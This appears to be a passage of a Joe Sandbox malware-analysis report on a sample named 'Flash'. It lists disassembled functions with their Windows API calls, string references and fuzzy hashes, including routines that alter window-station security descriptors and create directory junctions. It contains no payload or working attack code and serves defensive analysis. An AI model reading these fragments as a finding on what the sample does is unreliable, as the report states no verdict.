Part of subcall function 009D29AB: GetWindowLongW.USER32(?,000000EB), ref: 009D29BC

Strings

0, xrefs: 00A5A894
tooltips_class32, xrefs: 00A5A96B, 00A5A9F9

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: ed0226685e4262b3c2e5b3511435c78c916bf8485c941df0e07e84db986e8dc5
Instruction ID: 76b81cb747ccd9374295eb684b1a3430f8a83bc1269d400650b5781c5bddaf48
Opcode Fuzzy Hash: ed0226685e4262b3c2e5b3511435c78c916bf8485c941df0e07e84db986e8dc5
Instruction Fuzzy Hash: 4C718975250244AFD721CF68CC48F6B7BE5FB98341F044A1DF986872A1DBB0A946CB62

Function 00A5CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

DragQueryPoint.SHELL32(?,?), ref: 00A5CCCF

Part of subcall function 00A5B1A9: ClientToScreen.USER32(?,?), ref: 00A5B1D2
Part of subcall function 00A5B1A9: GetWindowRect.USER32(?,?), ref: 00A5B248
Part of subcall function 00A5B1A9: PtInRect.USER32(?,?,00A5C6BC), ref: 00A5B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00A5CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00A5CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00A5CD66
_wcscat.LIBCMT ref: 00A5CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00A5CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00A5CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00A5CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00A5CDFF
DragFinish.SHELL32(?), ref: 00A5CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00A5CEF9

Strings

@GUI_DRAGFILE, xrefs: 00A5CEA8
@GUI_DRAGID, xrefs: 00A5CE71
@GUI_DROPID, xrefs: 00A5CE26

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 854a943079fa67032680bf96dba3c212fa7d4514e512e43cfd7b6fac009a4ead
Instruction ID: 79d31b83e4378cd610349c8fcb4b813daaa40c1cdeee5d0057e46e6c9cf08079
Opcode Fuzzy Hash: 854a943079fa67032680bf96dba3c212fa7d4514e512e43cfd7b6fac009a4ead
Instruction Fuzzy Hash: BD612871508301AFC711EF94DC85E9FBBF8FBD8750F004A2AF595922A1DB709A49CB62

Function 00A382D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00A3831A
VariantCopy.OLEAUT32(00000000,?), ref: 00A38323
VariantClear.OLEAUT32(00000000), ref: 00A3832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00A3841D
__swprintf.LIBCMT ref: 00A3844D
VarR8FromDec.OLEAUT32(?,?), ref: 00A38479
VariantInit.OLEAUT32(?), ref: 00A3852A
SysFreeString.OLEAUT32(?), ref: 00A385BE
VariantClear.OLEAUT32(?), ref: 00A38618
VariantClear.OLEAUT32(?), ref: 00A38627
VariantInit.OLEAUT32(00000000), ref: 00A38665

Strings

Default, xrefs: 00A384DA
%4d%02d%02d%02d%02d%02d, xrefs: 00A38447

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: efae6205a2afa8e9078c3752782565f70c996c5e98a5575786359473f95aa844
Instruction ID: dd261a7bf090f5a80698625eb7ed8eff8eb79a3650bd2880e7de92af7294f0d8
Opcode Fuzzy Hash: efae6205a2afa8e9078c3752782565f70c996c5e98a5575786359473f95aa844
Instruction Fuzzy Hash: 45D1DD71A04719EBDB209FA5C886BAEB7B4BF44B00F248555F405AF281DF78EC44DBA1

Function 00A549CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00A54A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00A54AAC

Strings

ISCHECKED, xrefs: 00A54C2F
GETTEXT, xrefs: 00A54BFF
SELECT, xrefs: 00A54C5D
CHECK, xrefs: 00A54ACC
EXISTS, xrefs: 00A54B15
EXPAND, xrefs: 00A54B5E
GETSELECTED, xrefs: 00A54BBC
GETITEMCOUNT, xrefs: 00A54B8E
UNCHECK, xrefs: 00A54C88
GETTOTALCOUNT, xrefs: 00A54A93
COLLAPSE, xrefs: 00A54AF2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: 234b763f94a062df223f995fe5fae1d46d5ef8e687aceb7656478ca6bd72fe8c
Instruction ID: 5a202a2f2e44111eba2a024cf49bed01c7d2162813d31dd61fb108e1b94e4897
Opcode Fuzzy Hash: 234b763f94a062df223f995fe5fae1d46d5ef8e687aceb7656478ca6bd72fe8c
Instruction Fuzzy Hash: EE917C342047119BCB14EF64C451A6AB7A2BFD8358F108869FC965B3A3DB31ED89CB91

Function 00A3E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00A3E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A3E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00A3E33B
__wsplitpath.LIBCMT ref: 00A3E399
_wcscat.LIBCMT ref: 00A3E3B1
_wcscat.LIBCMT ref: 00A3E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00A3E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 00A3E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 00A3E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 00A3E43F
_wcscpy.LIBCMT ref: 00A3E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00A3E48A

Strings

*.*, xrefs: 00A3E445

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: 85f68dd5733d93ba53d7f77479e4a331c4822e90e6d7380a7485eb438317b73d
Instruction ID: 9e1f9f89a4e9bdc7d95e31a7f1b635242964f281a8f19130bc0b1ef7e2617e69
Opcode Fuzzy Hash: 85f68dd5733d93ba53d7f77479e4a331c4822e90e6d7380a7485eb438317b73d
Instruction Fuzzy Hash: E46148725046459FCB10EFA4C844EAFB3E8FF89310F04891EF99987291EB35E945CB92

Function 00A3A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00A3A2C2

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00A3A2E3
__swprintf.LIBCMT ref: 00A3A33C
__swprintf.LIBCMT ref: 00A3A355
_wprintf.LIBCMT ref: 00A3A3FC
_wprintf.LIBCMT ref: 00A3A41A

Strings

Incorrect parameters to object property !, xrefs: 00A3A39E
^ ERROR , xrefs: 00A3A391
Line %d (File "%s"):, xrefs: 00A3A336, 00A3A34F
"%s" (%d) : ==> %s:, xrefs: 00A3A415
"%s" (%d) : ==> %s:%s%s, xrefs: 00A3A3F7
Error: , xrefs: 00A3A3C4

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: deb6ec2dbe0eaea85fe7e3ff19aace87a324360a1730d43b37356b4a10c08eea
Instruction ID: 32a74418fab7a1741b1d6855bafbc8dc5d12b1c116769b5a097b0b409bd78578
Opcode Fuzzy Hash: deb6ec2dbe0eaea85fe7e3ff19aace87a324360a1730d43b37356b4a10c08eea
Instruction Fuzzy Hash: 2A510071900119BACF15EBE0DD46FEEB779AF14340F204526F505B20A2EB752F99CB61

Function 00A30065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00A1F8B8,00000001,0000138C,00000001,00000000,00000001,?,00A43FF9,00000000), ref: 00A3009A
LoadStringW.USER32(00000000,?,00A1F8B8,00000001), ref: 00A300A3

Part of subcall function 009E1A36: _memmove.LIBCMT ref: 009E1A77

GetModuleHandleW.KERNEL32(00000000,00A97310,?,00000FFF,?,?,00A1F8B8,00000001,0000138C,00000001,00000000,00000001,?,00A43FF9,00000000,00000001), ref: 00A300C5
LoadStringW.USER32(00000000,?,00A1F8B8,00000001), ref: 00A300C8
__swprintf.LIBCMT ref: 00A30118
__swprintf.LIBCMT ref: 00A30129
_wprintf.LIBCMT ref: 00A301D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00A301E9

Strings

^ ERROR, xrefs: 00A3017E
Line %d (File "%s"):, xrefs: 00A30112
%s (%d) : ==> %s: %s %s, xrefs: 00A301CD
Line %d:, xrefs: 00A30123
Error: , xrefs: 00A301A0

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: d6ed7285d4caae4d59be42f95e4863e512a4b4eabc331c2778c8d372caef0e7a
Instruction ID: 62fee69655ca09f1fcead5fc02a6b3f40fc125277dfb26764272f09481c551fb
Opcode Fuzzy Hash: d6ed7285d4caae4d59be42f95e4863e512a4b4eabc331c2778c8d372caef0e7a
Instruction Fuzzy Hash: FD419D7280025DAACF15FBE1DE96EEEB379AF94340F100525F601B2092EB756F49CB60

Function 00A3A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 009D4D37: __itow.LIBCMT ref: 009D4D62
Part of subcall function 009D4D37: __swprintf.LIBCMT ref: 009D4DAC

CharLowerBuffW.USER32(?,?), ref: 00A3AA0E
GetDriveTypeW.KERNEL32 ref: 00A3AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A3AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A3AADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00A3AB08

Part of subcall function 009E1821: _memmove.LIBCMT ref: 009E185B

Strings

set cd door , xrefs: 00A3AAA9
closed, xrefs: 00A3AA22, 00A3AA2B
open, xrefs: 00A3AA35
close cd wait, xrefs: 00A3AAF3
wait, xrefs: 00A3AAC5
open , xrefs: 00A3AA6A
type cdaudio alias cd wait, xrefs: 00A3AA86
close, xrefs: 00A3AA14

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 7cacaeabfab7ec4e7e2283ca676cd78403f89f34048a3fac920e53fb8c6495ab
Instruction ID: 969c3dfd7dc83b504db445f4b234d4e9355577cfa2954ecd258c37a1c6b74d81
Opcode Fuzzy Hash: 7cacaeabfab7ec4e7e2283ca676cd78403f89f34048a3fac920e53fb8c6495ab
Instruction Fuzzy Hash: 90515C711043459FC701EF21C881E6AB3F9FF98758F10892DF896972A2DB31AE05CB52

Function 00A3A832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00A3A852
__swprintf.LIBCMT ref: 00A3A874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00A3A8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00A3A8D6
_memset.LIBCMT ref: 00A3A8F5
_wcsncpy.LIBCMT ref: 00A3A931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00A3A966
CloseHandle.KERNEL32(00000000), ref: 00A3A971
RemoveDirectoryW.KERNEL32(?), ref: 00A3A97A
CloseHandle.KERNEL32(00000000), ref: 00A3A984

Strings

\, xrefs: 00A3A88A
\??\%s, xrefs: 00A3A86E
:, xrefs: 00A3A895

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: de54a2489d303769222e749bcb585c7dde33530b83e2d1e88fa7ff7aea54dbca
Instruction ID: 68849c0bb856fc3ec398f093ef4a8dd736517a51bae37d82bc392d3f89af9ac4
Opcode Fuzzy Hash: de54a2489d303769222e749bcb585c7dde33530b83e2d1e88fa7ff7aea54dbca
Instruction Fuzzy Hash: 8531A371500119ABDB21DFA0DC49FFB73BCEF89700F1041B6F649D6160E77496858B25

Function 00A5C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00A5982C,?,?), ref: 00A5C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C0F7
GlobalLock.KERNEL32(00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C10F
GlobalUnlock.KERNEL32(00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00A5982C,?,?,00000000,?), ref: 00A5C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00A63C7C,?), ref: 00A5C149
GlobalFree.KERNEL32(00000000), ref: 00A5C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00A5C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00A5C1A8
DeleteObject.GDI32(00000000), ref: 00A5C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00A5C1E6

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 3284a4ecd38d8174eb4e275ea90c3c5727f8d52392e6c92c43ed3a3f72efc26b
Instruction ID: 4f91a7f82229523a874c0501fec8ba2f342b64c7c842f02a512e293355b51474
Opcode Fuzzy Hash: 3284a4ecd38d8174eb4e275ea90c3c5727f8d52392e6c92c43ed3a3f72efc26b
Instruction Fuzzy Hash: 6C413B75500204AFCB21DFA4DC48EAB7BB8FF89722F104158F906D72A0DBB09985DB60

Function 00A5C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009D29E2: GetWindowLongW.USER32(?,000000EB), ref: 009D29F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A5C8A4
GetFocus.USER32 ref: 00A5C8B4
GetDlgCtrlID.USER32(00000000), ref: 00A5C8BF
_memset.LIBCMT ref: 00A5C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00A5CA15
GetMenuItemCount.USER32(?), ref: 00A5CA35
GetMenuItemID.USER32(?,00000000), ref: 00A5CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00A5CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00A5CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00A5CAFC
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00A5CB31

Strings

0, xrefs: 00A5C9E2

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: 8a2a84f642c89cfe08dcacc1edfe156e14207b57b637d7a783cc5a8688c40ef8
Instruction ID: 5561d7d1c3a73172f3ab8b0dd17dbabeb3302cc4e739d23a9750c95ebd1b005c
Opcode Fuzzy Hash: 8a2a84f642c89cfe08dcacc1edfe156e14207b57b637d7a783cc5a8688c40ef8
Instruction Fuzzy Hash: 1E817C70208305AFDB10CF14D985E6BBBE9FB88765F00491EFE95A7291C770D949CBA2

Function 00A28ACA Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00A28E20: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00A28E3C
Part of subcall function 00A28E20: GetLastError.KERNEL32(?,00A28900,?,?,?), ref: 00A28E46
Part of subcall function 00A28E20: GetProcessHeap.KERNEL32(00000008,?,?,00A28900,?,?,?), ref: 00A28E55
Part of subcall function 00A28E20: HeapAlloc.KERNEL32(00000000,?,00A28900,?,?,?), ref: 00A28E5C
Part of subcall function 00A28E20: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00A28E73

Part of subcall function 00A28EBD: GetProcessHeap.KERNEL32(00000008,00A28916,00000000,00000000,?,00A28916,?), ref: 00A28EC9
Part of subcall function 00A28EBD: HeapAlloc.KERNEL32(00000000,?,00A28916,?), ref: 00A28ED0
Part of subcall function 00A28EBD: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00A28916,?), ref: 00A28EE1

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00A28B2E
_memset.LIBCMT ref: 00A28B43
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00A28B62
GetLengthSid.ADVAPI32(?), ref: 00A28B73
GetAce.ADVAPI32(?,00000000,?), ref: 00A28BB0
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00A28BCC
GetLengthSid.ADVAPI32(?), ref: 00A28BE9
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00A28BF8
HeapAlloc.KERNEL32(00000000), ref: 00A28BFF
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00A28C20
CopySid.ADVAPI32(00000000), ref: 00A28C27
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00A28C58
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00A28C7E
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00A28C92

Memory Dump Source

Source File: 0000000B.00000002.3254289671.00000000009D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 009D0000, based on PE: true

Associated: 0000000B.00000002.3254219836.00000000009D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254562542.0000000000A90000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000B.00000002.3254627331.0000000000A99000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_9d0000_Flash.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 9835df25ad1f32ff55cf3b20a6a7a0420fd0cf4f8d20d332f57a7407eca4c740
Instruction ID: 06eec7e700a1640a6f35040d373256947fb08ab22f8d5b63b0fea03bdb4f0161
Opcode Fuzzy Hash: 9835df25ad1f32ff55cf3b20a6a7a0420fd0cf4f8d20d332f57a7407eca4c740
Instruction Fuzzy Hash: 126169B1901219EFDF11DFA9EE44EEEBB79FF04300F048169F915A6290DB799A05CB60

Function 00A47A04 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00A47A79
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00A47A85
CreateCompatibleDC.GDI32(?), ref: 00A47A91
SelectObject.GDI32(00000000,?), ref: 00A47A9E
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00A47AF2
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,00000028,00000000), ref: 00A47B2E
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00A47B52
SelectObject.GDI32(00000006,?), ref: 00A47B5A
DeleteObject.GDI32(?), ref: 00A47B63
DeleteDC.GDI32(00000006), ref: 00A47B6A
